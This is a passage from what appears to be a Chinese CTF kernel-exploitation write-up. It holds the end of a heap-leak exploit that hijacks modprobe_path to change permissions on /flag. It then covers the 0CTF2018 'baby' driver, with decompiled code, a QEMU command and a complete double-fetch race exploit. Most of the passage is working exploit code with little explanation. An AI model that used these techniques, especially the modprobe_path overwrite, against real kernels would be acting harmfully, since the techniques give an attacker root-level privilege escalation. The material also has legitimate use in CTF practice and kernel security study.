read_from_heap(fd1, 0);
uint64_t procfs_buffer = buf[0];
printf("[+] buffer addr: %lx\n", procfs_buffer);
char *buffer = malloc(0x4000);
memset(buffer, 0x61, 0x400);
int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
msgsnd(qid, buffer, 0x400-0x30, 0);
memset(buffer, 0x62, 0x2000);
msgsnd(qid, buffer, 0x1020-0x38, 0); // 0x1000 + 0x20
int shmid = shmget(IPC_PRIVATE, 100, 0600); // 0x20 -> shm_file_data -> leak
if(shmid == -1) {
puts("[-] shmget error!");
exit(-1);
}
char *shaddr = shmat(shmid, NULL, 0);
if(shaddr == (void *)-1) {
puts("[-] shmattr error!");
exit(-1);
}
// search msg_msg (0x400) in recent 4 pages
int cur = -0x2000, tail = 0x2000;
uint64_t msg_msg_1024 = 0;
for(; cur <= tail; cur+=0x10) {
read_from_heap(fd1, cur);
//printf("%016lx %016lx\n", buf[0], buf[1]);
if(buf[0]==0x6161616161616161) {
read_from_heap(fd1, cur-0x10);
msg_msg_1024 = buf[0];
printf("[+] msg_msg_1024: %lx\n", msg_msg_1024);
break;
}
}
if(!msg_msg_1024) {
puts("[-] failed in searching msg_msg_1024");
exit(-1);
}
read_from_heap(fd1, msg_msg_1024 + 0x20 - procfs_buffer);
uint64_t msg_msgseg = buf[0];
printf("[+] msg_msgseg: %lx\n", msg_msgseg);
// search shm_file_data in recent 3 pages
cur = msg_msgseg - procfs_buffer - 0x1008, tail = cur + 0x2008;
uint64_t leak_kernel_addr = 0;
for(; cur <= tail; cur+=0x10) {
read_from_heap(fd1, cur);
//printf("[+] %016lx\n", buf[0]);
if(buf[0]>0xffffffff00000000) {
leak_kernel_addr = buf[0];
printf("[+] leak_kernel_addr: %lx\n", leak_kernel_addr);
break;
}
}
if(!leak_kernel_addr) {
puts("[-] failed in searching leak");
exit(-1);
}
uint64_t modprobe_path = leak_kernel_addr - 0x1da1a0;
printf("[+] modprobe_path: %lx\n", modprobe_path);
// hijack modprobe_path
write_to_heap(fd1, 0x0061612f706d742f, modprobe_path - procfs_buffer);
system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy");
system("echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/aa");
system("chmod 777 /tmp/dummy; chmod 777 /tmp/aa");
system("/tmp/dummy");
getchar();
return 0;
}
Double fetch
0CTF2018-final-baby
分析
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
bool v3; // cf
unsigned __int64 v4; // rdi
bool result; // al
v3 = __CFADD__(a2, a1);
v4 = a2 + a1;
if ( v3 )
result = 1;
else
result = a3 < v4;
return result;
}
__int64 __fastcall sub_25(__int64 a1, int a2, __int64 a3)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-54h]
if ( a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}
else if ( a2 == 0x1337
&& !_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 4952))
&& !_chk_range_not_ok(
*(_QWORD *)a3,
*(int *)(a3 + 8),
*(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 4952))
&& *(_DWORD *)(a3 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)a3 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}
else
{
result = 14LL;
}
return result;
}
__int64 baby_ioctl()
{
_fentry__();
return sub_25();
}
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1 \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic -enable-kvm \
exp
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#define COMPETATION_TIME 0x1000
pthread_t competation_thread;
char buf[0x1000];
uint32_t attack = 1;
char * real_addr;
struct {
char * flag_addr;
uint32_t flag_len;
} flag = {.flag_addr = buf, .flag_len = 33};
void race_condition() {
while(attack) {
for(int i = 0; i < COMPETATION_TIME; ++i) {
flag.flag_addr = real_addr;
}
}
}
int main() {
int fd, addr_fd, result_fd;
fd = open("/dev/baby", O_RDWR);
ioctl(fd, 0x6666);
system("dmesg | grep flag >./addr");
addr_fd = open("./addr", O_RDONLY);
buf[read(addr_fd, buf, 0x100)] = '\x00';
char *leak_flag_addr = strstr(buf, "Your flag is at ") + 0x10;
real_addr = strtoull(leak_flag_addr, leak_flag_addr + 0x10, 0x10);
printf("\033[34m[+]flag addr: 0x%llx\033[m\n", real_addr);
pthread_create(&competation_thread, NULL, race_condition, NULL);
while(attack) {
for(int i = 0; i < COMPETATION_TIME; ++i) {
flag.flag_addr = buf;
ioctl(fd, 0x1337, &flag);
}
system("dmesg | grep flag >./result");
result_fd = open("./result", O_RDONLY);
read(result_fd, buf, 0x100);
if(strstr(buf, "flag{")) {
attack = 0;
}
}
pthread_cancel(competation_thread);
puts("\033[34m[+]success!\033[m");
system("dmesg | grep flag");
return 0;
}
参考文章
https://www.jianshu.com/p/a2259cd3e79e
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/
看雪ID:kotoriseed
https://bbs.kanxue.com/user-home-951122.htm
# 往期推荐
6.V8 Array.prototype.concat函数出现过的issues和他们的POC们
球分享
球点赞
球在看
点击“阅读原文”,了解更多!